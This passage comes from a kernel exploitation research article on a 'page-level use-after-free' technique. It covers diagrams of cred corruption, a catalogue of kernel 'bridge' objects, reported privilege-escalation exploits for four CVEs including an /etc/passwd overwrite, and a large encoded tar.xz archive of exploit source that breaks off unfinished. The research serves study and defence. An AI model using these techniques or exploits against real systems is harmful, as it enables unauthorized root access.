+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| |

v v

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[‑‑‑‑‑‑‑‑‑][‑‑‑‑‑‑‑

[ page1 ][..page2..]

page pool [ ][.........]

[ ][.......

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[‑‑‑‑+‑‑‑‑][‑‑‑‑+‑‑

| |

| +‑‑

|

v v

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

physical | 4KB page1 |......4KB page2........|

page | |.........

| |.

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+‑

‑‑ 3.1 ‑ Critical object corruption through page‑level UAF

Now that we have a freed a physical page and a dangling pointer that can read/write to it. It is fairly easy to then allocate and corrupt critical heap objects. This is because the critical heap objects are eventually allocated through the buddy allocator at the page granularity. Therefore, attackers can spray the heap objects into the freed page as long as they have already exhausted all existing slab caches. For example, we can overwrite the cred object through the dangling pointer, as shown in the following figure:

page * page * (dangling pointer)

‑‑‑‑‑‑‑‑‑‑[‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑][‑‑‑+

[ * | pipe_buffer1 ][ * | pipe_buffer2 ]

slab cache[ * | ][ * |

[ * | ][ * |

‑‑‑‑‑‑‑‑‑‑[‑+‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑][‑+‑+

| |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| |

v v

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[‑‑‑‑‑‑‑‑‑][‑‑‑‑‑‑‑

[ page1 ][ page2 ]

page pool [ ][ ]

[ ][

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[‑‑‑‑+‑‑‑‑][‑‑‑‑+‑‑

| |

| +‑‑

|

v v

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+[

physical | 4KB page1 |[ cred ][ cred ] |

page | |[ ][

| |[

‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+[

‑‑ 4 ‑ Evaluation results

We analyzed the bridge objects in the Linux kernel v5.14. We took a sample of 26 recent Linux kernel CVEs that are either OOB, UAF, or double‑free from 2020 to 2023. This includes 24 vulnerabilities from prior work [4], and 2 additional OOB ones missed by the prior work.

‑‑ 4.0 ‑ Bridge objects

We found many objects containing page pointers, which reside in various standard slab caches of different sizes. The Linux kernel has interfaces to read/write the physical pages through the page pointers, such as copy_page_from_iter and copy_page_to_iter (iter usually represents a user buffer). We list the the bridge objects followed by the slab caches used to allocate them as follows:

address_space‑>i_pages (adix_tree_node_cachep) configfs_buffer‑>page (kmalloc‑128)

pipe_buffer‑>page (variable size) st_buffer‑>reserved_pages (variable size) bio_vec‑>bv_page (variable size)

wait_page_queue‑>page (variable size) xfrm_state‑>xfrag‑>page (kmalloc‑1k) pipe_inode_info‑>tmp_page (kmalloc‑192)

lbuf‑>l_page (kmalloc‑128) skb_shared_info‑>frags‑>bv_page (variable size) orangefs_bufmap_desc ‑>page_array (variable size) pgv‑>buffer (variable size)

We denote some objects as "variable size" whose sizes could be different at runtime due to different allocation paths. Some objects are allocated as arrays with variable sizes using standard kmalloc caches, such as pipe_buffer, which can be general to many bugs causing memory corruption in the standard caches (e.g., kmalloc‑192).

In addition, certain functions, such as process_vm_rw_core(), allocate page pointers into the heap and store them in a page array, which can also be used wih the page‑UAF strategy.

‑‑ 4.1 ‑ Real‑World Exploitation Experiments

We confirm that 18 out of the 26 CVEs we examined are exploitable using our proposed technique by manually analyzing the CVE's capabilities. In total, we developed 8 end‑to‑end exploits for 4 CVEs (open source at https://github.com/Lotuhu/Page‑UAF), due to time constraints. The 8

unexploitable CVEs are not suitable because they are not general to heap objects and can only reach certain objects in specific subsystems, e.g., eBPF subsystem.

Specifically, we developed 8 end‑to‑end exploits against CVE‑2023‑5345, CVE‑2022‑0995, CVE‑2022‑0185, and CVE‑2021‑22555. The exploits spray bridge objects to construct page UAF; we specifically target pipe_buffer‑>page, configfs_buffer‑>page, and pgv‑>buffer. These exploits are generally easier and more stable because there is no need for infoleaks, cross‑cache attacks, and page‑level fengshui.

One exploit against CVE‑2023‑5345 uses another bridge object, i.e., configs_buffer, which also has a field pointing to a newly allocated page. This object is a little different from pipe_buffer; it has a field with type char *, but it points to the first byte of a newly allocated physical page.

Specifically, `buffer‑>page = (char *)__get_free_pages(GFP_KERNEL, 0);`.

After making a page‑UAF by corrupting the lower bits, we can read/write the whole physical page's content by triggering the `copy_to_iter` and `copy_from_iter` in function `configfs_read_iter` and `configfs_write_iter`:

struct configfs_buffer {

size_t count;

loff_t pos;

char * page;

...

}

‑‑ 4.2 ‑ Comparison of our page‑UAF method with previous methods

As we can see, our page‑UAF exploit strategy can achieve privilege escalation without requiring infoleaks to bypass KASLR. Additionally, it offers the capability to leak information via the reading of physical page memory. It can also help derive arbitrary write primitives via writing to objects that have pointers in the physical page. Overall, the exploit strategy reduces the requirements for memory layout manipulation to use object‑level heap fengshui ‑ only the initial fengshui is required to derive the page‑level UAF.

To our knowledge, we have yet to see widespread use of bridge objects to achieve page‑level UAF in real‑world exploits. The only example we are aware of is a CTF competition [3] that uses the struct pipe_buffer as a bridge object. There are several differences.

First, we made the observation that page‑UAF is not limited to the pipe_buffer object. Instead, any object containing a page pointer can be a useful object for spray and corrupt, i.e., bridge objects. In fact, pipe_buffer is isolated into a dedicated slab called "kmalloc‑cg" after Linux kernel v5.14, and will require cross‑cache exploit technique to operate in the future.

Second, our work analyzes many potential bridge objects that have a field that manages one/multiple physical pages, and further finds feasible paths to copy the user buffer from/to the physical pages. Therefore, we make the generalized page‑UAF technique more usable and future‑proof.

Third, we simplified the exploitation process significantly compared to [3]: the prior work triggered the page‑pointer write twice to construct the two‑level nested page‑UAF primitive, which we show is unnecessary and achieves a lower overall success rate (75% as reported).

Our exploit requires only one page‑UAF and simply sprays critical objects into the freed page for corruption, achieving a 90%‑100% success rate. For example, we spray the pipe_buffer objects and corrupt one of the "flags" fields, which can write a read‑only file (/etc/passwd) to achieve privilege escalation.

Exploits using our page‑UAF strategy are relatively stable due to the provided information leaking primitive and avoidance of page‑level heap fengshui. We ran five end‑to‑end exploits for vulnerabilities CVE‑2022‑0995 and CVE‑2022‑0185. Each exploit was run 10 times, achieving a 90%‑100% success rate without any crashes. This is attributed to the fact that the exploits have a built‑in feedback mechanism (i.e., read of the physical page) that helps make sure the final write is performed on the right target. Using this feedback mechanism, we can restart the page‑level UAF if the expected target is not detected.

‑‑ 5 ‑ References

[1] CVE‑2022‑27666: Exploit esp6 modules in Linux kernel. https://etenal.me/archives/1825

[2] Reviving Exploits Against Cred Structs ‑ Six Byte Cross Cache Overflow to Leakless Data‑Oriented Kernel Pwnage. https://www.willsroot.io/2022/08/reviving‑exploits‑against‑cred‑struct.html

[3] [D^3CTF 2023] d3kcache: From null‑byte cross‑cache overflow to infinite arbitrary read & write in physical memory space. https://github.com/arttnba3/D3CTF2023_d3kcache

[4] Zhenpeng Lin, Yuhang Wu, and Xinyu Xing. 2022. Dirtycred: escalating privilege in Linux kernel. In Proceedings of the 2021 ACM SIGSAC Conference on Computer and Communications Security

[5] FUSE for Linux exploitation 101. https://exploiter.dev/blog/2022/FUSE‑exploit.html.

[6] Understanding Dirty Pagetable ‑ m0leCon Finals 2023 CTF Writeup https://ptr‑yudai.hatenablog.com/entry/2023/12/08/093606

‑‑ 6 ‑ Source Code

begin 700 Page‑UAF.tar.xz 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 